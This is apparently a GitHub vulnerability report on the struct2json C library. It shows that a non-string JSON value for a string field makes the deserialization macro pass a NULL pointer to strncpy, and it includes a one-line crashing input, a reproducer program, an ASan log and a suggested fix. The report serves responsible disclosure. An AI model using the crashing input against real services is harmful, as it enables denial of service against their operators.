-
Notifications
You must be signed in to change notification settings - Fork 306
Description
Summary
struct2json contains a null pointer dereference in the string deserialization macro S2J_STRUCT_GET_string_ELEMENT when a JSON field exists but its value is not a JSON string. This can be triggered with attacker-controlled JSON and leads to a crash (denial of service).
Affected Version
- Repository: https://github.com/armink/struct2json
- Commit:
4f1fdc9fe928b94cb2e1f23f37d18b4cd2e35bfa(currentmasterat time of testing)
Environment
- OS: Ubuntu 22.04.5 LTS
- Kernel: Linux 5.15.0-160-generic
- Build: clang + AddressSanitizer (via libFuzzer harness)
PoC Input
Minimal crashing JSON:
{"nAMe": 2}Note: cJSON_GetObjectItem is case-insensitive, so "nAMe" matches the field "name" in the struct.
Reproducer Code
This reproducer is adapted directly from the typical struct2json usage pattern (similar to the README example):
#include <stdlib.h>
#include <string.h>
#include "s2j.h" // includes cJSON.h
typedef struct {
char name[16];
} Hometown;
typedef struct {
int id;
int scores[8];
char name[10];
double weight;
Hometown hometown;
} Student;
static void s2j_init_once(void) {
static int initialized = 0;
if (!initialized) {
s2j_init(NULL); // use default malloc/free
initialized = 1;
}
}
static Student *json_to_struct_student(cJSON *json_student) {
if (!json_student) return NULL;
s2j_create_struct_obj(student, Student);
if (!student) return NULL;
s2j_struct_get_basic_element(student, json_student, int, id);
s2j_struct_get_array_element(student, json_student, int, scores);
s2j_struct_get_basic_element(student, json_student, string, name);
s2j_struct_get_basic_element(student, json_student, double, weight);
s2j_struct_get_struct_element(struct_hometown,
student,
json_hometown,
json_student,
Hometown,
hometown);
if (json_hometown) {
s2j_struct_get_basic_element(struct_hometown,
json_hometown,
string,
name);
}
return student;
}
int main(void) {
s2j_init_once();
const char *json = "{\"nAMe\":2}";
cJSON *root = cJSON_Parse(json);
if (!root) return 0;
Student *student = json_to_struct_student(root);
if (student) {
s2j_delete_struct_obj(student);
}
cJSON_Delete(root);
return 0;
}
Compiled with ASan, running this program crashes in strncpy due to a NULL source pointer.
ASan Log (Excerpt)
AddressSanitizer:DEADLYSIGNAL
=================================================================
==14==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f1476d67ac1 bp 0x7ffd1bf0a950 sp 0x7ffd1bf0a0f8 T0)
==14==The signal is caused by a READ memory access.
==14==Hint: address points to the zero page.
SCARINESS: 10 (null-deref)
#0 0x7f1476d67ac1 (/lib/x86_64-linux-gnu/libc.so.6+0x188ac1)
#1 0x5603775ef376 in MaybeRealStrnlen
#2 0x5603775ef376 in strncpy
#3 0x56037764c787 in json_to_struct_student /src/fuzz_json_to_struct.c:46:5
#4 0x56037764c787 in LLVMFuzzerTestOneInput /src/fuzz_json_to_struct.c:86:24
...
SUMMARY: AddressSanitizer: SEGV in strncpy
==14==ABORTING
Root Cause Analysis
The crash occurs in the string deserialization macro used by struct2json.
Relevant macros from struct2json/struct2json/inc/s2jdef.h:
#define s2j_struct_get_basic_element(to_struct, from_json, type, element) \
S2J_STRUCT_GET_BASIC_ELEMENT(to_struct, from_json, type, element)
#define S2J_STRUCT_GET_BASIC_ELEMENT(to_struct, from_json, type, _element) \
S2J_STRUCT_GET_##type##_ELEMENT(to_struct, from_json, _element)
#define S2J_STRUCT_GET_string_ELEMENT(to_struct, from_json, _element) \
json_temp = cJSON_GetObjectItem(from_json, #_element); \
if (json_temp) strncpy((to_struct)->_element, json_temp->valuestring, sizeof((to_struct)->_element)-1);
Behavior details:
cJSON_GetObjectItem(from_json, "name")is case-insensitive and returns acJSON *node whenever the key exists, regardless of the value type (string, number, object, etc.).- For numeric values, cJSON sets
type == cJSON_Numberand populatesvalueint/valuedouble, but leavesvaluestring == NULLfor that node. S2J_STRUCT_GET_string_ELEMENTonly checks whetherjson_tempis non-NULL, and then unconditionally calls:
strncpy((to_struct)->_element,
json_temp->valuestring,
sizeof((to_struct)->_element)-1);
This assumes that json_temp->valuestring is always a valid pointer.
When the JSON input is:
{"nAMe": 2}
and the struct field is named name:
cJSON_GetObjectItem(from_json, "name")finds thenAMekey
(case-insensitive comparison), sojson_temp != NULL.- The value is numeric, so
json_temp->valuestring == NULL. - The macro calls
strncpywith a NULL source pointer, causing a NULL pointer dereference and process crash.
In other words, any JSON object where a string field is replaced by a non-string value (e.g., number) will cause a crash when that field is deserialized using s2j_struct_get_basic_element(..., string, ...).
Impact
Any application that:
- Uses
struct2jsonto map JSON input into C structs, and - Parses JSON that may be malformed or attacker-controlled,
can be crashed by sending JSON where a string field is present but of a non-string type. This results in a denial of service via NULL-pointer dereference.
Suggested Fix
Harden the string deserialization macros to validate the JSON type and pointer before calling strncpy, e.g. something like:
#define S2J_STRUCT_GET_string_ELEMENT(to_struct, from_json, _element) \
json_temp = cJSON_GetObjectItem(from_json, #_element); \
if (cJSON_IsString(json_temp) && json_temp->valuestring != NULL) { \
strncpy((to_struct)->_element, json_temp->valuestring, \
sizeof((to_struct)->_element) - 1); \
(to_struct)->_element[sizeof((to_struct)->_element) - 1] = '\0'; \
}
Similarly, the _EX and array variants (S2J_STRUCT_ARRAY_GET_string_ELEMENT(_EX)) should also validate that the node is a string and that valuestring is non-NULL before copying, and fall back to the default value when the type does not match.